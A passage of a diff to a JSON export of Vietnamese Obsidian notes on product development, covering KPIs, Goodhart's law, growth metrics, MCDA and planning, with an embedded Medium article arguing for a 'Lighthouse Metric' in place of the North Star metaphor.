"https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Dựa vào KPI thì bộ phận kinh doanh sẽ có tiếng nói lớn nhất, còn đội phát triển sản phẩm rất ít có tiếng nói", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![[A SURVEY OF STAKEHOLDER VISUALIZATION APPROACHES.pdf]]\n", + "Toàn bộ nội dung": "Khái niệm:: [[Thước đo, đo lường, chỉ số, KPI]]\n\nLý do ta cần đặt ra KPI là vì [[Nếu bạn không thể đo lường, bạn không thể cải tiến]], và vì [[Sự đơn giản ép ta phải làm nó cực kỳ tốt]]. Tuy nhiên cần lưu ý đến [[Khi một phép đo trở thành mục tiêu, nó thường mất đi sự hiệu quả của nó|Định luật Goodhart: \"Khi một phép đo trở thành mục tiêu, nó thường mất đi sự hiệu quả của nó\"]].\n\nĐể tránh việc [[Chỉ theo đuổi một chỉ số là quá đơn giản]], [[Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành]], và [[Các cấp trong tổ chức nên nói chuyện với nhau bằng thành quả]]. ([[Thành quả (outcome) là kết quả thu được do sự thay đổi về hành vi của người dùng khi tương tác với sản phẩm đã được cải tiến (hoặc sản phẩm mới)]]). \n\nNguồn:: [[Hoàng Đức Minh]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-28T08:05:00.000Z", - "id": "JH" + "Ngày tạo": "2023-09-09T16:41:00.000Z", + "Ngày cập nhật": "2024-07-22T12:49:00.000Z", + "id": "JV" }, { - "Tiêu đề": "Các nghiên cứu có thể có cùng một mục tiêu nghiên cứu, nhưng khác nhau về câu hỏi nghiên cứu", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Các nghiên cứu có thể có cùng một mục tiêu nghiên cứu, nhưng khác nhau về câu hỏi nghiên cứu", + "Tiêu đề": "Khi một phép đo trở thành mục tiêu, nó thường mất đi sự hiệu quả của nó", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Khi một phép đo trở thành mục tiêu, nó thường mất đi sự hiệu quả của nó", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Khái niệm:: [[Thước đo, đo lường, chỉ số, KPI]]\n\n> When a measure becomes a target, it ceases to be a good measure\nNguồn:: [[Wikipedia]], [Goodhart's law - Wikipedia](https://en.wikipedia.org/wiki/Goodhart's_law)\n\n[[Nếu bạn không thể đo lường, bạn không thể cải tiến]] ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "JI" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-21T15:07:00.000Z", + "id": "JW" }, { - "Tiêu đề": "Giai đoạn lên ý tưởng thường khó khăn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Giai đoạn lên ý tưởng thường khó khăn", + "Tiêu đề": "NPS trên 50% là đạt được sản phẩm phù hợp thị trường", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/NPS trên 50% là đạt được sản phẩm phù hợp thị trường", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Thách thức:: [[Người giúp đỡ sẽ khó có động lực giúp nếu không thấy ý tưởng mình rõ ràng]]\n", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-30T07:31:00.000Z", - "Ngày cập nhật": "2023-11-28T03:46:00.000Z", - "id": "JJ" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-11-27T07:14:00.000Z", + "id": "JX" }, { - "Tiêu đề": "Idea là một cái gì đó để thử, còn insight là kết quả của sự thử", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Idea là một cái gì đó để thử, còn insight là kết quả của sự thử", + "Tiêu đề": "Nếu bạn không thể đo lường, bạn không thể cải tiến", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Nếu bạn không thể đo lường, bạn không thể cải tiến", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Insight]]\n\n[[Ý tưởng với hiểu biết sâu đều là giả thiết]]\n[[Insight sẽ thường ra ngay lúc phỏng vấn]] [[Insight through making]]", + "Toàn bộ nội dung": "Khái niệm:: [[Thước đo, đo lường, chỉ số, KPI]]\n\n> I often say that when you can measure what you are speaking about, and express it in numbers, you know something about it; but when you cannot measure it, when you cannot express it in numbers, your knowledge is of a meagre and unsatisfactory kind; it may be the beginning of knowledge, but you have scarcely, in your thoughts, advanced to the stage of science, whatever the matter may be.\n\nNguồn:: Kelvin\n![](https://www.azquotes.com/picture-quotes/quote-if-you-can-not-measure-it-you-can-not-improve-it-lord-kelvin-79-18-55.jpg) ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-01-07T13:27:00.000Z", - "id": "JK" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-07-21T14:57:00.000Z", + "id": "JY" }, { - "Tiêu đề": "Knowns and unknowns", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Knowns and unknowns", + "Tiêu đề": "Phân tích quyết định đa tiêu chí (MCDA) là phương pháp để tìm điểm đánh đổi tối ưu nhất", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Phân tích quyết định đa tiêu chí (MCDA) là phương pháp để tìm điểm đánh đổi tối ưu nhất", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![](http://wiki.doing-projects.org/images/thumb/9/91/Design_thinking_techniques_that_can_be_used_to_deal_with_the_categories.PNG/450px-Design_thinking_techniques_that_can_be_used_to_deal_with_the_categories.PNG)\n![](http://wiki.doing-projects.org/images/2/2c/Johari_Window.PNG)\nNguồn:: [[Doing project wiki]]\n", + "Toàn bộ nội dung": "Không biết phương pháp này đã tối ưu nhất chưa? Không biết nó đã phải đánh đổi cái gì với cái gì?\nBản chất là bài toán tính thể tích vật đa chiều\nNguồn:: [[⚡Hiểu biết sâu/Ξ Nguồn/Wikipedia]], [Multiple-criteria decision analysis - Wikipedia](https://en.wikipedia.org/wiki/Multiple-criteria_decision_analysis)\n\n[[❓Kết quả cuối cùng của MCDA có khác gì với tiền]] \n\n[[Độ tác động của quyết định, độ có sẵn của thông tin, trạng thái của môi trường là một trong nhiều thứ bất định]]\nMCDA cảm giác như chỉ là để chọn sản phẩm chứ không phải chọn công việc nào nên làm. Vì nó là bài toán thông tin đầy đủ. Các tiêu chí quan trọng của công việc như thời gian và sức lực là những thứ không định lượng được, chỉ có khi nào làm mới thấy cần thêm. Đây là bài toán thông tin không đầy đủ\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-11-27T15:26:00.000Z", - "id": "JL" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2023-12-14T04:49:00.000Z", + "id": "JZ" }, { - "Tiêu đề": "Ai cũng có một kế hoạch cho tới khi bị đấm vào mồm", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Ai cũng có một kế hoạch cho tới khi bị đấm vào mồm", + "Tiêu đề": "Chỉ nên nghĩ về viral khi đã có một lượng người thực sự sử dụng sản phẩm của mình", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Tăng trưởng/Chỉ nên nghĩ về viral khi đã có một lượng người thực sự sử dụng sản phẩm của mình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Kế hoạch]]\n![](https://www.tallengestore.com/cdn/shop/products/Spirit_Of_Sports_-_Motivational_Quote_-_Everybody_Has_A_Plan_Till_They_Get_Punched_In_The_Mouth_-_Iron_Mike_Tyson_464f61f6-196a-4a15-bb7f-1ad1bed76835.jpg) \nNguồn:: Mike Tyson \n\n[[Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian]]\n[[Nhiều khi vấn đề chỉ được phát hiện ra khi đến khâu triển khai ý tưởng]]\n[[Để không bị đối thủ đấm vào mồm mà còn đấm được vào mồm hắn thì phải lên kế hoạch]] \n[[Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Lecture 6 - Growth (Alex Schultz) - YouTube](https://www.youtube.com/watch?v=n_yHZ_vKjno)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T12:01:00.000Z", - "id": "JM" + "Ngày cập nhật": "2023-11-26T08:23:00.000Z", + "id": "Ja" }, { - "Tiêu đề": "Những thứ không quan trọng có thể tự xử lý lẫn nhau", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Những thứ không quan trọng có thể tự xử lý lẫn nhau", + "Tiêu đề": "Tăng trưởng của thị trường quan trọng hơn tăng trưởng doanh số", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Tăng trưởng/Tăng trưởng của thị trường quan trọng hơn tăng trưởng doanh số", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Kế hoạch]]\n[[Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch]]", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Lecture 1 - How to Start a Startup (Sam Altman, Dustin Moskovitz) - YouTube](https://youtu.be/CBYhVcO4WgI)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T12:18:00.000Z", - "id": "JN" + "Ngày cập nhật": "2023-11-26T08:23:00.000Z", + "id": "Jb" }, { - "Tiêu đề": "Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch", + "Tiêu đề": "Tăng trưởng là khoảng cách giữa chuyển đổi và rời bỏ", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Tăng trưởng/Tăng trưởng là khoảng cách giữa chuyển đổi và rời bỏ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Kế hoạch]], [[Ưu tiên]], [[Công việc]]\n\n[[Những thứ không quan trọng có thể tự xử lý lẫn nhau]]", + "Toàn bộ nội dung": "Khái niệm:: \n![[growth.png]]\n\nNguồn:: [[Y Combinator]], ![Lecture 7 - How to Build Products Users Love (Kevin Hale)](https://www.youtube.com/watch?v=sz_LgBAGYyo)\n\n[[Tỉ lệ quay lại là thứ quan trọng nhất trong tăng trưởng]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T12:18:00.000Z", - "id": "JO" + "Ngày cập nhật": "2023-11-26T08:23:00.000Z", + "id": "Jc" }, { - "Tiêu đề": "Sự ghi chú tạm để để sau thôi cũng có khi tốn vài tiếng", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Sự ghi chú tạm để để sau thôi cũng có khi tốn vài tiếng", + "Tiêu đề": "Tỉ lệ quay lại là thứ quan trọng nhất trong tăng trưởng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Tăng trưởng/Tỉ lệ quay lại là thứ quan trọng nhất trong tăng trưởng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: [[Y Combinator]], ![Lecture 6 - Growth (Alex Schultz) - YouTube](https://www.youtube.com/watch?v=n_yHZ_vKjno)\n\n[[Các cách xác định sản phẩm đã phù hợp thị trường hay chưa]]\n[[Tăng trưởng là khoảng cách giữa chuyển đổi và rời bỏ]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2023-11-30T14:09:00.000Z", - "id": "JP" + "Ngày cập nhật": "2024-07-29T10:45:00.000Z", + "id": "Jd" }, { - "Tiêu đề": "Việc bàn kế hoạch sẽ có nhiều chủ đề đâm ngang mà cũng phải bàn cho rốt ráo", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Việc bàn kế hoạch sẽ có nhiều chủ đề đâm ngang mà cũng phải bàn cho rốt ráo", + "Tiêu đề": "Đừng dùng chỉ số sao bắc cực, hãy dùng chỉ số hải đăng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/Đừng dùng chỉ số sao bắc cực, hãy dùng chỉ số hải đăng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[⚡Hiểu biết sâu/Ξ Khái niệm/Kế hoạch]]\n\nVD: cách sử dụng công cụ, các nguồn lực, tài liệu hiện có\n[[Việc lập kế hoạch là để giảm những hệ quả không lường trước được và tạo ra được sự bền vững dài hạn]]\n[[Khả năng tạo ra được sự bền vững nằm ở việc có thấy được siêu vật hay không]]\n[[Siêu vật là những vật mà ta khi ta chạm vào những vị trí khác nhau của nó thì không thấy sự liên quan giữa chúng, làm ta nghĩ chúng là những vật khác nhau]]", + "Toàn bộ nội dung": "[[Chỉ số ta theo đuổi phải là chỉ số về giá trị của sản phẩm đối với người dùng]]\n> What should stand out in the definition above are the expressions: _“grow this metric”_ and _“driving sustainable growth.”_ These two simple sentences make it crystal clear what the goal of the NSM should be. What’s less obvious and the part that companies always fail to spot is the “_core value that your product delivers to customers.”_ This is the purpose of the NSM! And yet, as I look around at product teams I’ve worked with, I cannot help but feel that somehow, somewhere we _lost our way, following the wrong star._\n\nNguồn:: [Why the term “North Star Metric” is a terrible metaphor for product success | by Bhavik Patel | CRAP Talks | Medium](https://medium.com/1point96/why-the-term-north-star-metric-is-a-terrible-metaphor-for-product-success-27560fb245f6)\n\n[[Chỉ theo đuổi một chỉ số là quá đơn giản]] \n\n---\n# Why the term “North Star Metric” is a terrible metaphor for product success\n![Bhavik Patel](https://miro.medium.com/v2/resize:fill:66:66/1*xQh5ZzS2iDh6a--qqUF-Iw.png)\n\n6 min read\nSep 7, 2021\n\nI mean, can anyone event point out the North Star?\n![](https://miro.medium.com/v2/resize:fit:933/0*j2BVxjKPVV_wjZOK)\nPhoto by [Adrian Pelletier](https://unsplash.com/@adrianpelletier?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com/?utm_source=medium&utm_medium=referral)\n\nA good metaphor should capture the essence of that which it attempts to describe.\n\nIf you asked a thousand Product Managers why they use the North Star as a metaphor for product success, a large majority would likely tell you it’s because it’s the brightest star in the sky or that it’s directly above you or that it helps to guide you North. For the most part, they would be wrong.\n\nFirstly, you need to be able to identify that which guides you, right? If you don’t know which one is the North star, how are you going to know which direction is North? Secondly, it’s actually the 48th brightest star in the night sky! And finally, it is only directly above you if you’re on the North Pole — Not to mention the North Star is not even visible if you live in the Southern Hemisphere!\n\nI know I am being a bit pedantic, but by the end of this post, I hope you’ll agree that the language we use to describe the world around us can be powerful if used correctly or it can lead us astray if not.\n\nEarlier this year, I was doing some work on success metrics with one of our product teams, and in a swirling sea of metrics, goals and KPIs, I struggled to identify what the team’s one North Star was. In fact, I don’t think they even knew. There were just too many metrics and, like the image above, no one stood out from the rest. In the end, we used a [unit economic tree](https://medium.com/crap-talks/first-principles-thinking-if-elon-musk-did-conversion-rate-optimisation-70777c4f2647) to identify how different metrics in their part of the product laddered up to the next metric, which combined with another metric, laddered up to the next metric and so on until we reached the top of the tree (generic example below).\n\n![](https://miro.medium.com/v2/resize:fit:933/1*F0gLixx2Redq-S8ZdVKIeA.png)\n\n[Image from my blog post on first principles thinking](https://medium.com/crap-talks/first-principles-thinking-if-elon-musk-did-conversion-rate-optimisation-70777c4f2647)\n\nAnd that’s when it hit me…\n\nThe reason why the “one metric” is called a North Star Metric (NSM) is that, like the real North Star, most people are unable to identify it as it’s surrounded by billions of other shiny objects. One might even argue that a company’s inability to identify its own North Star is precisely what makes the North Star an apt metaphor.\n\nThis also wasn’t the first time I had come across an issue with the NSM. I had seen this countless times before at previous companies, and although the problem manifested itself in different ways, a problem almost always existed. The challenges ranged from no clear NSM or too many to choose from all the way to the wrongly chosen NSM ([as was the case at Gousto](https://towardsdatascience.com/why-we-moved-away-from-conversion-rate-as-a-primary-metric-14b2d6cb5996)). Even when there was an appropriate one, Product Managers were trying to shoe-horn every feature release into it without realising that they needed to find their own NSM which laddered up to the wider NSM.\n\nAs you can see, the metaphor begins to break down causing confusion. I think it is completely appropriate for teams to have their own “one metric” provided they know how it fits into the bigger picture.\n\n[Sean Ellis](https://www.linkedin.com/in/seanellis/) was the first person to coin the term “North Star Metric”, and whilst his intentions were good, I don’t think he accounted for people misinterpreting the metaphor and using it interchangeably with terms like OKRs or KPIs. In an ideal product organisation, your KPIs and OKRs would ladder up to your NSM once you’ve identified it.\n\n# What is the NSM?\n\n> “The North Star Metric is the single metric that best captures the **core value that your product delivers to customers**. Optimizing your efforts to **grow this metric** is key to **driving sustainable growth** across your full customer base” — Sean Ellis ([source](https://growthhackers.com/articles/north-star-metric/))\n\nWhat should stand out in the definition above are the expressions: _“grow this metric”_ and _“driving sustainable growth.”_ These two simple sentences make it crystal clear what the goal of the NSM should be. What’s less obvious and the part that companies always fail to spot is the “_core value that your product delivers to customers.”_ This is the purpose of the NSM! And yet, as I look around at product teams I’ve worked with, I cannot help but feel that somehow, somewhere we _lost our way, following the wrong star._\n\nI know I have honed in on a team’s inability to identify their NSM as the main challenge, but actually worse than that is for them to:\n\n1. Identify it and still surround it with other shiny objects\n2. Identify the wrong metric because they don’t understand the purpose of the NSM\n\nThe former creates distractions that cause teams to lose sight of the goal, the latter (which is arguably worse) results in a tremendous amount of effort going into the wrong thing. Find the right NSM that delivers value to your customers and don’t place it amongst hundreds of other shiny things!\n\nFrankly, I would much prefer it if we scrapped the term North Star metric and used a metaphor that truly embodied the importance and essence of what we’re trying to describe. I call it the **Lighthouse Metric**.\n\n# Lighthouse Metric\n\n> “A lighthouse is a tower or building designed to emit light from a system of lamps and lenses and to serve as **a** **beacon for navigational aid**… Lighthouses mark dangerous coastlines, hazardous shoals, reefs, rocks, and safe entries to harbors; they also assist in aerial navigation” — [Wikipedia](https://en.wikipedia.org/wiki/Lighthouse)\n\n_A beacon for navigational aid!_ If this isn’t the perfect metaphor to describe the importance of your “one metric” then I don’t know what is. Furthermore, “the marking of dangerous coastlines and other hazards” is a great way to describe the risks that product teams face every day: vanity metrics, conflicting priorities, and other distractions/dangers that could be catastrophic. I feel like this is a more complete metaphor describing the purpose and the goal of the “one metric.”\n\nI know I’m just arguing semantics here but at the end of the day, if product teams understood the importance of the North Star (both at work and in the cosmos) I wouldn’t need to write this post, but they don’t; so I am. Renaming the metric will inspire a more appropriate use. A lighthouse is singular, obvious, and clear. You can run workshops to not just identify the Lighthouse Metric but also the hazardous vanity metrics and distractions you should avoid — employ tools and frameworks to help you with this — such as the unit economic tree I mentioned earlier.\n\nBelow are examples of some great Lighthouse Metrics (formerly known as North Stars ;)) that I have come across to inspire you to find your own. Use these as starting points during your own metric workshops. Discuss why they are (or aren’t) great metrics.\n\n- Airbnb’s NSM is “nights booked”. This adds value to the guest and the host.\n- Before Netflix was the giant it is today, theirs was “% of new members with 3 DVDs in their queue”.\n- Facebook use “daily active users”\n- For Spotify, it is “Time spent listening to music by subscribers”\n- Uber’s is “rides per week”\n\nI wrote an article on [why we moved away from Conversion Rate](https://towardsdatascience.com/why-we-moved-away-from-conversion-rate-as-a-primary-metric-14b2d6cb5996) to a metric called Average Orders Per User. Although we didn’t label the term North Star Metric, it is now the go-to metric for product success as it combines order frequency and conversion rate. The metric measures short term success as well as long term retention. It can’t be artificially manipulated like conversion rate and it adds value to both the customer and the company. Our “one metric” didn’t come about through the use of a workshop but rather from us challenging our own assumptions about the metric we were using and the harm it was causing.\n\nRegardless of the metaphor you use, I hope you’re able to find your own one metric that you can commit to and that acts as a guiding light.\n\n![](https://miro.medium.com/v2/resize:fit:933/0*x6q3-ZZcT79iuaSv)\n\nPhoto by [Casey Horner](https://unsplash.com/@mischievous_penguins?utm_source=medium&utm_medium=referral) on [Unsplash](https://unsplash.com/?utm_source=medium&utm_medium=referral)\n\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T07:00:00.000Z", - "id": "JQ" + "Ngày cập nhật": "2023-11-26T08:37:00.000Z", + "id": "Je" }, { - "Tiêu đề": "Việc lập kế hoạch là để giảm những hệ quả không lường trước được và tạo ra được sự bền vững dài hạn", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Việc lập kế hoạch là để giảm những hệ quả không lường trước được và tạo ra được sự bền vững dài hạn", + "Tiêu đề": "❓Kết quả cuối cùng của MCDA có khác gì với tiền", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/❓Kết quả cuối cùng của MCDA có khác gì với tiền", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Kế hoạch]], [[Ưu tiên]]\n\n![Lecture 15 - How to Manage (Ben Horowitz) - YouTube](https://youtu.be/uVhTvQXfibU?si=TJEwubrYwssLj9kD&t=2002)\nNguồn:: \n[[Hiểu biết không chỉ để mình làm một cái gì đó, mà còn để mình không làm một cái gì đó]]\n[[Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian]]\n[[A problem well stated is half solved]]\n[[Việc bàn kế hoạch sẽ có nhiều chủ đề đâm ngang mà cũng phải bàn cho rốt ráo]]\n[[Khả năng tạo ra được sự bền vững nằm ở việc có thấy được siêu vật hay không]]\n[[Có những vấn đề lúc cần nói ra thì không không nghĩ ra nhưng vẫn cảm thấy chưa vét cạn]]\n[[Giả định có mặt ở khắp nơi]]. [[Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành]]\n[[Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch]] ", + "Toàn bộ nội dung": "Khái niệm:: \n[[Tiền đơn giản hoá quá trình đáp ứng nhu cầu]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-29T10:48:00.000Z", - "id": "JR" + "Ngày cập nhật": "2023-12-01T12:16:00.000Z", + "id": "Jf" }, { - "Tiêu đề": "Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian", - "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Nghiên cứu, tìm ý tưởng/Lên kế hoạch/Việc ưu tiên ra quyết định nhanh làm ta thấy thảo luận và dành thời gian xây dựng kế hoạch và nghiên cứu là phí thời gian", + "Tiêu đề": "❓Thứ quan trọng nhất là tìm được sản phẩm phù hợp thị trường. Tất cả những thứ khác đều không quan trọng bằng", + "URL": "https://obsidian.quảcầu.cc/⚡Hiểu biết sâu/Quản lý dự án, phát triển sản phẩm, xây dựng tổ chức/Phát triển sản phẩm/Chỉ số/❓Thứ quan trọng nhất là tìm được sản phẩm phù hợp thị trường. Tất cả những thứ khác đều không quan trọng bằng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: [[Ra quyết định]], [[Thảo luận]], [[Kế hoạch]]\n[[1 nghiên cứu 20 ngày khác với 4 nghiên cứu 5 ngày]]\n[[Nhiều khi vấn đề chỉ được phát hiện ra khi đến khâu triển khai ý tưởng]]\n[[Ai cũng có một kế hoạch cho tới khi bị đấm vào mồm]]\n[[Những thứ không quan trọng có thể tự xử lý lẫn nhau]]\n[[Hãy nhắm còn đủ tiền cho khoảng 20 đến 30 lần thất bại]]\n[[Độ tác động của quyết định, độ có sẵn của thông tin, trạng thái của môi trường là một trong nhiều thứ bất định]]\n\n[[Để không bị đối thủ đấm vào mồm mà còn đấm được vào mồm hắn thì phải lên kế hoạch]]\n[[Nên ưu tiên làm những việc có thể sẽ khiến ta phải viết lại kế hoạch]]\n[[When someone's taking time to do something right in the present, they're a perfectionist with no ability to prioritize, whereas when someone took time to do something right in the past, they're a master artisan of great foresight]]\n[[Muốn thấy được những vấn đề lớn cần sự thong thả]]\n[[Nỗi ám ảnh với sự hiệu quả có thể đến từ nỗi sợ chết]]\n[[Việc bàn kế hoạch sẽ có nhiều chủ đề đâm ngang mà cũng phải bàn cho rốt ráo]] \n[[Việc lập kế hoạch là để giảm những hệ quả không lường trước được và tạo ra được sự bền vững dài hạn]] \n[[Hiểu biết không chỉ để mình làm một cái gì đó, mà còn để mình không làm một cái gì đó]]\n[[Sự trì hoãn giúp giảm những hệ quả không lường trước được]]\n[[A problem well stated is half solved]]\n[[Thảo luận có tính xây dựng là để tìm kiếm sự hiểu nhau, không phải để tìm kiếm sự đồng ý]]\n[[Sự ghi chú tạm để để sau thôi cũng có khi tốn vài tiếng]]\n[[Có những vấn đề lúc cần nói ra thì không không nghĩ ra nhưng vẫn cảm thấy chưa vét cạn]]\n[[Giả định có mặt ở khắp nơi]]. [[Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành]]", + 